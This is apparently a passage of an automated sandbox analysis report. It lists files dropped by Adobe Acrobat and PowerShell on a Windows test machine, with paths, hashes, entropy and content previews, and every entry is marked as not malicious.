C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.291488528683895
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJfFldPeUkwRe9:YvXKXCUTbdvGz8Ukee9
MD5:	203094DBB1C492C38CCDBAD7E6F6523E
SHA1:	FA8845F720003E5394F0E13702671BB3E212C590
SHA-256:	A39531B12AFBE7FA230525FB93F6038887E24F8D44F4984770624A42E6520389
SHA-512:	EEC355AD0D312E5E0EA33C0FEF3DE87E97499B2EC7D5FEA587A1C02A9F2DE3DB71864374698BA235EFCE8ECE62764CCACE28B062DAF1961481927471E732DA6A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.303303570230475
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJfzdPeUkwRe9:YvXKXCUTbdvGb8Ukee9
MD5:	E1AAD11302C0395CC630928CEE305E3F
SHA1:	1FEF0D2F5FE49936F4C4D41189B33FDEC61EBE18
SHA-256:	C3E73D015B0F26BD48272C662B1AC3C053EF60F17A629BE2D98EF9766E3C371F
SHA-512:	5281F63C267E2D704C0BE668D8C7CE3F35A780071BC4F59F6D71ED87747BFCE2846FD11B2EA67CC5C906F50EB93D5210782F47E11FE4D2A86ED3B5C303935E9A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.283891363871402
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJfYdPeUkwRe9:YvXKXCUTbdvGg8Ukee9
MD5:	44F7FC549E0DD936E695387D58743C2D
SHA1:	5A9C014CE3E2A2582DA5CBF305E677E438951526
SHA-256:	55222A468EA93134A77B44E5A32DDD92886383A1C032B98D927D62E2B023025E
SHA-512:	DEC375220BBF43371367A40E548CACEAB4A7AD014A39C364CCB2684C79821FDB9C9314C1E1B35065DE041A127FAA54ADC610A2BC2CE1D8773F28B9AC652F63F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.269658133945532
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJf+dPeUkwRe9:YvXKXCUTbdvG28Ukee9
MD5:	4AEA99C9C4903033E297F20A9567366B
SHA1:	DEF979B3D3EDC898139E3DB5F49F624EC9F55452
SHA-256:	CE400C37CA7D61412D2962F31C455003A6DD6D73D4491EC40FCB9E0E5B62616C
SHA-512:	8BD2D5F30EE8CC820D1E86A8232EDDC72321652812F7009B4DDF0DDC393A706FD9385312FABC01ADEE352A5361D4AC38B98C345F5501129BADF18D6F51F203FB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.267549173821063
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJfbPtdPeUkwRe9:YvXKXCUTbdvGDV8Ukee9
MD5:	20BF549CCEAF48C18B222DDE992E7678
SHA1:	B0EA818C3BF341BB265DB1EACC4EC6BCB9EDA17D
SHA-256:	D47F91D566780AF3ACB4343B910D6A4181297D359061CB156BC28BA353E94739
SHA-512:	D96D0D4D6BA8702E42B09AC6424D25D6118769702CABA29AE99EDF0BE0E2EB07373A0E2BAFF7757AAFD6E3A62EC4EBA538C9E6579D32CC482024FECE3A51A717
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.271003392141743
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJf21rPeUkwRe9:YvXKXCUTbdvG+16Ukee9
MD5:	1EC3D44AD42705986214F6A0C90DDACA
SHA1:	E2AB0632EBA72426C7C34EB84B6246839AE6FA87
SHA-256:	B42233394F2D22D2EB2D11E624480810D88916986955706816BFDAD0498330F7
SHA-512:	00F51FDC89E15891CAE3C4BF564F50DBBB64E8AA8AA59B75EBC19EBFED3AB557437EC0E580188CA59138546072B6033D67F75C28D36C28B554D60FF9840A4D95
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.66246953781354
Encrypted:	false
SSDEEP:	24:Yv6XCUXaamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSL1:YvLwUBgkDMUJUAh8cvM5
MD5:	547C79CE9D51163CAA18D6036151E62C
SHA1:	9E71854627EB8BDB35572B5C5885EDF800CC06AD
SHA-256:	B81B9ED9A48A0A826FFB68992DD8ECCFA48597F4193C12E40A1850E72327E358
SHA-512:	9CB6A6971A5D5CD20EB73FC2C739ED7A3FD2D06A9DF7E99F807FDBF6F4D063FB3CCF4318590C9B587856CC5399146E22226C81D6025A8B05D76A99ACD229F2EC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.248281101852986
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJfshHHrPeUkwRe9:YvXKXCUTbdvGUUUkee9
MD5:	4EDDEEF45DF04F908769577AB912970D
SHA1:	62986146C9921A6A656E62BB263944D656BF6DB7
SHA-256:	842BCCA803AB8737077BD233F34592B6CC79FD458ED78C0A44F215F9AC59B2B2
SHA-512:	E24A2E92F5E7E4CA40FD6EDB2B8CFF4B0E58868140C735D2CD038476CF5C421EDA8601B6CCFD043CC25E75F7D384D2A7F8B56DBAC00E4B939B42EE83041CBD46
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.255230699742407
Encrypted:	false
SSDEEP:	6:YEQXJ2HXvqOHTYUXjb24kF0YvoAvJTqgFCrPeUkwRe9:YvXKXCUTbdvGTq16Ukee9
MD5:	4457F2404DF04167D00EAA6BD96EC4E4
SHA1:	A90E6BC60EB2D7AC51E10FC3D275BF0F4014401D
SHA-256:	EC641EAC45C51C1BD07AA84CB5541E876173494CDD3D98727B6414ECC4EC738B
SHA-512:	1F4F05D63A905F88018DE6BB55A17F77704F6215CD2ACC82CA4EFD8C5A4DB35497C8D14CD13C24F5137B6B8269E90AD5E971BE6E6CB878158C8ED98B99B9CED1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"1bfe132f-b96f-4918-ab30-703f5a9f15a5","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736730432792,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.147658654334155
Encrypted:	false
SSDEEP:	48:YMWKIPLzmKHx4MbU+S7MAf4JBv5EN9RVh95:vW3zmKHuM4+sE5YXV/5
MD5:	85C806EFCBCE7E2C928A827887299977
SHA1:	FA12C04A563DC3CA529B2FF479F79A89B1C828D9
SHA-256:	1A48637B40AEBE9B780D0E9EEC9EAC8EA81B0CEF0F6FAE745B6AAC8664EE373B
SHA-512:	2007233A89157FE40B88A4E75931E0E4B11661185363D037AC10AB3C25ECBADA9348554EE9F9BDD078D657EA9C31ED40B56B1F497E31B4E14E5DBE2EF43A94A5
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"d822404707cc743224197a486a438473","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736553687000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"4776ebb9b3ce4fc0b1a21591ff3350a9","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736553687000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9dafc167344571d62b2e9458be021e30","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736553687000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"c75f59267b8dfb3aa2c1d6536922f62c","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736553687000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"01f5312ae18b68d7a4311ca77d2db344","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","size":289,"ts":1736553687000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"01a8d83c21946a373db71bd54b5cc0be","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":2

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3209613511737595
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yy9+EXSqXlN:TGufl2GL7msUKB0M0+Tb608YyYrqX
MD5:	0FA1535D241EA98A3750A1FC5ACA3A8A
SHA1:	90408251B6F243991E8AEFE2E7397E286AD3A6B8
SHA-256:	57D7ABB916653AF17A16D9162F3E9E2AA100B42D016E3C10570EFBE594671B39
SHA-512:	B463B6F5B6EF7231F8BDFA0BBC3BB2FD3F86930FAC4EF0DBB65DC162BD63DB3345894A7D8903F53DE0820FF5447AA9A0D203D77A69B67E8CB11413F4E936B29C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7826595233290305
Encrypted:	false
SSDEEP:	24:7+tvPl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Yy9/EXSqXlyGKaiaqLhx/XYKQg:7MpKB0M0+Tb608YyVrGKuqFl2GL7msj
MD5:	2B1E089E0B2498B17DBC8FB9C087E1BE
SHA1:	FB4DB5998BF779B6B94B997D344078B28DF34ED7
SHA-256:	2E5334AA05CBDEDE6956E9B52041B3D173AF4E61E37CD7A30336B7AA6F25CBC6
SHA-512:	5BCF054B47AE23BC963F66091A9CC95E3141090B32B9FEBA8DC8E787A66167F828368E97E79934B021DE48BB522A46F9885EB949AA59DDCFA1B15E0A604A2D8D
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgEskHWoT9AKg3cbEbfD0dW/Yyu:6a6TZ44ADEEss9DgsbEDJK
MD5:	4B56238D626DCE31FC87B060922F98A2
SHA1:	B8464C74373DC5D78BF372C476026B643EA5BD34
SHA-256:	DF52161D64F669517E4797BB64668558BFC8B90BDD48B5CF5B01CFD29A6A86B1
SHA-512:	75C681AEC97DF5A49132132C615F061193EF502ACC3AC09482FD1AF41A64667F05748549E44652F8F7A3099D88B15D8F030B60D4BBBC9476A537040B47B68F6E
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI58be4.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4953527754662135
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3e9:Qw946cPbiOxDlbYnuRK+bDg
MD5:	BBD9AC893A7A4C83A030019760307AD7
SHA1:	60465D4CF6213BD05E58FA2E74CC1B2A7EB030A8
SHA-256:	05CABB6FA218DD8A01D04A62168AD033F8E0AA6ADA8DADC60CEDDEC33046CC5C
SHA-512:	58A3396FF1CD0D45F701CE5D35F948EDFEEDFE06F4061CAC80955D4B2F3EE904B7C204A4266681853098D273694E22CA9CAC64C90FEA0474C3C065B2396D47FE
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.0.1.:.2.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_eekbnu55.4am.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uchn5kdp.sjd.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A915tb6lx_1w7g0ox_1ec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-01-17-039.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15099
Entropy (8bit):	5.333924351189604
Encrypted:	false
SSDEEP:	384:D04NI4W4kqVNYqG++tU4/hVscH0QyC+jP0gq8wadOCbxixgxax1SbSjSAS/8SRSo:/rwxy
MD5:	D3ECD407A4E8066E208EACB1E6883922
SHA1:	AEC6873944F6195064FA979B3511750D0676CD9A
SHA-256:	F18F5123B2D6B48F837BA89DF949C731777DE78A6623CEE29DA094B1B92D434A
SHA-512:	7F4A5E4D53B75E1ED3367FB38F83FFD527D2D455C366892D748106AA3A688B4647DACB4E335BE82BFB8FF9678055E68B833939D97ACB7A765CDE1E299045ED5D
Malicious:	false
Preview:	SessionID=698d1506-f1e9-4d91-8fa9-12e02318812b.1736553677250 Timestamp=2025-01-10T19:01:17:250-0500 ThreadID=5956 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=698d1506-f1e9-4d91-8fa9-12e02318812b.1736553677250 Timestamp=2025-01-10T19:01:17:251-0500 ThreadID=5956 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=698d1506-f1e9-4d91-8fa9-12e02318812b.1736553677250 Timestamp=2025-01-10T19:01:17:251-0500 ThreadID=5956 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=698d1506-f1e9-4d91-8fa9-12e02318812b.1736553677250 Timestamp=2025-01-10T19:01:17:251-0500 ThreadID=5956 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=698d1506-f1e9-4d91-8fa9-12e02318812b.1736553677250 Timestamp=2025-01-10T19:01:17:251-0500 ThreadID=5956 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3981287691834146
Encrypted:	false
